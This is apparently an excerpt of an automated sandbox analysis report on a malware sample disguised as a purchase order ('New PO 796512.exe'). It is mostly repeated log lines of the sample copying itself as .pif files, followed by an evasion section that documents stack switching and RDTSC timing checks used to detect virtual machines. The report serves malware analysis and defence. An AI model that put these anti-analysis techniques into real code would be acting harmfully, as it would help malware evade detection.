          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Source: C:\Users\user\Desktop\New PO 796512.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Users\user\Documents\New PO 796512.pifAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Users\user\Documents\New PO 796512.pifAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Users\user\Documents\New PO 796512.pifAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Users\user\Documents\New PO 796512.pifAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Users\user\Documents\New PO 796512.pifAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Source: C:\Users\user\Documents\New PO 796512.pifAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Users\user\Documents\New PO 796512.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Users\user\Documents\New PO 796512.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Users\user\Documents\New PO 796512.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Users\user\Documents\New PO 796512.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Users\user\Documents\New PO 796512.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Source: C:\Users\user\Documents\New PO 796512.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Users\user\Desktop\New PO 796512.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\New PO 796512.exeRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 2E09904 second address: 2E0990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
